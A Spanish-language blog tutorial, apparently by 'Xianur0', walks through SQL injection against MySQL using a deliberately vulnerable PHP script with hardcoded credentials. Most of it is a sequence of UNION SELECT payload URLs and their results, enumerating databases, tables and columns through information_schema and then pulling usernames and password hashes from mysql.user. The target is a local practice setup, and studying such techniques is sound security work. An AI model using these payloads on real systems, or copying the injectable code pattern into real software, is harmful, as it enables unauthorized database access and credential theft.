Suponiendo que tenemos una SQL Injection, pero no encontramos datos útiles, para ello tenemos muchas opciones que muchas veces están por default en los servidores, y otras tablas de administradores de archivos/bases de datos, también nos son útiles:
- information_schema
- mysql
- etc....
Comenzaremos con la information_schema:
Tablas:
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
Comenzaremos identificando las tablas que hay y en que DB's se encuentran, pero para ello necesitamos un script vulnerable para practicar: Estructura de la DB:
use test;
CREATE TABLE `usuarios` (
`id` int(11) NOT NULL auto_increment,
`nombre` varchar(180) NOT NULL default '',
`email` varchar(50) NOT NULL default '',
PRIMARY KEY (`id`)
);
insert into usuarios values
(1, 'xianur0', 'uxmal666@gmail.com');
insert into usuarios values
(2, 'UxMal', 'uxmal666@gmail.com');
vuln.php<?php
$id = $_GET['id'];
$conexion =
mysql_connect("localhost",
"xianur0",
"mipassword");
mysql_select_db("test",
$conexion);
$consulta =
"SELECT * FROM usuarios Where id = $id";
$resultado =
mysql_query($consulta,
$conexion) or
die(mysql_error());
$todo =
mysql_num_rows($resultado);
if ($todo>
0) {
$row =
mysql_fetch_assoc($resultado);echo "<strong>".
$row['id'].
"</strong><br>";
echo "Nombre: ".
$row['nombre'].
"<br>";
echo "Email: ".
$row['email'].
"<br><br>";
}?>
Hacemos la Consulta: http://127.0.0.1/vuln.php?id=1
Resultado:1Nombre: xianur0
Email: uxmal666@gmail.com
Comenzamos a Inyectar:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1
Resultado:The used SELECT statements have a different number of columns
Podemos usar el fuzzer que también esta en este blog o hacerlo manualmente (como prefieran):
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,1,1
Resultado:1Nombre: 1
Email: 1
Comenzamos a Sacar Datos:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/1,2,table_name/**/FROM/**/information_schema.tables
Resultado:
1Nombre: 2
Email: CHARACTER_SETS
Bueno al no haber un error SQL y al responder con el nombre de una tabla, quiere decir que existe information_schema (valgame la redundancia), sigamos inyectando:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables
Donde: TABLE_SCHEMA es la DB y table_name es el nombre de la tabla.
Resultado:
information_schemaNombre: 2
Email: CHARACTER_SETS
ya tenemos la primera tabla de esa DB (el information_schema no esta considerando la DB test).
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/table_name/**/NOT/**/IN/**/('CHARACTER_SETS')
Resultado:
information_schemaNombre: 2
Email: COLLATIONS
ahora que si lo que queremos es saber cuales bases de datos existen:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema')
Resultado:mysqlNombre: 2
Email: db
Bueno tenemos ya 2 bases de datos:
mysql e information_schema, sigamos:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql')
Resultado:
phpmyadminNombre: 2
Email: xianur0_bookmark
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin')
Resultado:
testNombre: 2
Email: usuarios
Bueno ahí esta la tabla inicial y la DB inicial...
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,2,table_name/**/FROM/**/information_schema.tables/**/WHERE/**/TABLE_SCHEMA/**/NOT/**/IN/**/('information_schema','mysql','phpmyadmin','test')
Y ahora no nos devolverá nada (ya no hay base de datos), ahora vamos por columnas:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns
Resultado:
information_schemaNombre: CHARACTER_SETS
Email: CHARACTER_SET_NAME
No es de gran utilidad esa informacion, pero si hacemos una sentencia mas exacta:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'
Resultado:
testNombre: usuarios
Email: id
Base de datos: test
Tabla: usuarios
Columna: id
Esto funciona como queremos por que solo existe una tabla en nuestra base de datos test, pero si existiese mas de una tabla y queremos saber específicamente las columnas de la tabla usuarios:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'
ahora saquemos la siguiente:http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME/**/FROM/**/information_schema.columns/**/WHERE/**/TABLE_SCHEMA/**/=/**/'test'/**/AND/**/TABLE_NAME/**/=/**/'usuarios'/**/AND/**/COLUMN_NAME/**/NOT/**/IN/**/('id')
Resultado:
testNombre: usuarios
Email: nombre
Yo se que hay mil y una forma de obtener este resultado, pero no iré a conceptos, simplemente hablare de la técnica.
Ahora que para sacar las DB hay una forma mas facil (también basándose en el information_schema), esta otra forma es mediante la tabla schemata:
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/SCHEMA_NAME,DEFAULT_CHARACTER_SET_NAME,DEFAULT_COLLATION_NAME/**/FROM/**/information_schema.schemata
y bueno el resto ya lo saben..
Busquen en google la estructura del information_schema o bien instalen el xampp (ese trae information_schema por default)
Ahora vamos con mysql
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Select_priv,Host/**/FROM/**/mysql.user
Resultado:
root��������������������������������������������Nombre: Y
Email: localhost
podríamos intentar sacar la password, pero no en todos los MySQL Funciona...
http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Password,Host/**/FROM/**/mysql.user
xianur0
Nombre: *CEE870801502ACAD44FA46CA2CA4F58C2B721A67
Email: localhost
El password que obtuvimos (si es que lo permitió el MySQL) esta encriptado por la funcion password() de mysql (no dire en este texto como desencriptarlo).
Obtengamos información:http://127.0.0.1/vuln.php?id=-1/**/UNION/**/SELECT/**/User,Db,Select_priv/**/FROM/**/mysql.db
Resultado:
pmaNombre: mysql
Email: N
Bueno hasta aquí dejare este texto, pero seguiré escribiendo algunas cosas útiles cuando tenga tiempo....
By Xianur0
http://xianur0.blogspot.com